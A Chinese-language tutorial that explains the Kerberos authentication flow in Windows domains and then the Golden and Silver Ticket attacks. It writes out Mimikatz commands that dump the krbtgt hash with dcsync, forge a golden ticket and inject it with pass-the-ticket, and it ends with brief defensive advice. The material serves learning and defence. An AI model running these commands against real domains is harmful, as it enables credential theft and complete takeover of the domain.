一、kerberos简介
-
kerberos是一种计算机网络认证协议,最初由MIT开发,他能够为网络中通信的双方提供身份验证服务,确保通信双方身份的真实性和安全性。
微软从Windows 2000开始支持Kerberos认证机制,将kerberos作为域环境下的主要身份认证机制。
kerberos官网:https://web.mit.edu/kerberos/ -
kerberos角色
-
客户端(client):想访问某个server的客户端
-
服务端(Server):提供某种业务的服务
-
密钥分发中心(KDC):分为两部分:
- AS(Authentication Service):认证服务,专门用来认证客户端的身份并发放客户用于访问TGS的TGT
- TGS(Ticket Granting Service):验证TGT,发放ST
二、kerberos认证过程
kerberos认证主要分为3阶段:
- 第一阶段:客户端和AS交互,进行身份验证,拿到TGT
- 第二阶段:客户端拿着TGT和TGS交互,请求ST
- 第三阶段:客户端拿ST请求要访问的目标服务
- AS认证(客户端拿TGT)
- REQ1:客户端向AS发送身份认证信息,包含:
用户密码hash加密的timestamp
未加密的用户名(user)、客户端信息(client info)等
AS验证:根据未加密的用户名查找用户对应的用户密码hash,成功解密timestamp,验证客户端通过
- RES1:返回响应给客户端,其包含两部分内容:
(1)第一部分内容:使用用户密码hash加密的一段内容:
用于客户端和TGS间通信的Session_key(CT_SK)
TGT的有效时间
(2)第二部分内容:使用krbtgt密码hash加密的TGT:
用于客户端和TGS间通信的Session_key(CT_SK)
客户端user、client info等信息
TGT的有效时间
PAC(特权属性证书):包括客户端User的SID和Group的SID等
客户端接收AS响应:用自己密码hash解密AS的响应,得到CT_SK以及(krbtgt密码hash加密的)TGT
- TGS认证(客户端拿最终的ST)
- REQ2:客户端发送包含三部分内容:
客户端会生成CT_SK加密的验证器Authenticator,含user、client info等信息
目标service(明文)
第一步拿到的krbtgt密码hash加密的TGT(未改动)
- TGS验证1:根据客户端明文传输过来的目标服务,查看当前kerberos系统中是否存在可以被用户访问的该服务,若有用密钥将解密TGT,获得以下内容:
用于客户端和TGS间通信的Session_key(CT_SK)
客户端user、client info等信息
TGT的有效时间
- TGS验证2:TGS使用刚刚解密拿到的CT_SK,对Authenticator进行解密,将其中的客户端信息和解密后TGT中的客户端信息进行比较,如果全部相同则认为客户端身份正确
- RES2:返回响应给客户端,其包含两部分内容:
目标服务密码hash(service_hash)加密的ST(Servre Ticket):
客户端信息
ST有效时间
用于客户端和目标服务之间通信的CS_SK
使用CT_SK加密的内容:
ST有效时间
时间戳
用于客户端和目标服务之间通信的CS_SK
- 客户端接收TGS响应:
使用CT_SK解密了第二部分内容,检查时间戳无误后取出其中的CS_SK准备向目标服务发起最后的请求
- 目标服务验证
- REQ3:客户端发送包含两部分内容:
使用CS_SK加密的验证器(Authenticator):主机信息和时间戳等
客户端访问目标服务的使用Server密码加密的ST(未改动) - 目标服务验证客户端身份:
目标服务用自己service_hash解密ST,获得CS_SK
用CS_SK解密Authenticator,验证Client声明的user信息,通过认证
三、常见攻击手法
域内票据传递(PTT):
(1)黄金票据(Golden ticket)
- 获取权限:伪造的TGT,可以获取任意Kerberos的访问权限
- 加密方式:由krbtgt NTLM Hash 加密
(2)白银票据(Silver ticket) - 获取权限:伪造的ST,只能访问指定的服务,如CIFS
- 加密方式:由服务账号 NTLM Hash 加密
1. 黄金票据
- 定义:可换取任意服务票据(ST)的票据授权票据(TGT)。有了金票后,就跳过AS验证,不用验证账户和密码,也不担心域管密码修改,把自己伪装成可伪造成任意用户。
- 条件:
- 域名称
- 域的SID
- 域中kbrtgt账号的密码HASH
(1)域名称可通过net config workstation
或systeminfo
查看
(2)在任意域用户下,执行whoami /user
,拿域sid
(3)mimi获取kbrtgt密码hash:
lsadump::dcsync /domain hack.com /user:krbtgt
(4)mimi生成黄金票据:
mimikatz.exe "kerberos::golden /admin:system /domain:hack.com /sid:S-1-5-21-121511599-1252177110-38747631 /krbtgt:a61858axxxxxxxxxxxxxxxxd792f3263 /ticket:ticket.kirbi"
(5)mimi导入票据:
mimikatz # kerberos::purge
mimikatz # kerberos::ptt ticket.kirbi
(6)拿到黄金票据后,成功创建域管
2. 白银票据
- 定义:白银票据就是伪造的ST,只需要知道服务密码Hash就可以伪造出一个ST,但是伪造的门票只对部分服务起作用,白银票据与黄金票据利用过程类似,不再赘述。
- 条件:
- 域名称
- 域的SID
- 服务主机名
- 服务密码hash
- 服务名
四、安全建议
- 内网避免存在如ms17-010等远程命令执行和弱口令等高危漏洞,导致域控被拿下
- 监控TGT过期时间,如mimi默认创建TGT过期时间为10年
- 使用微软高级威胁分析平台(ATA),对域内异常流量和行为进行监控处理:https://docs.microsoft.com/zh-cn/advanced-threat-analytics/what-is-ata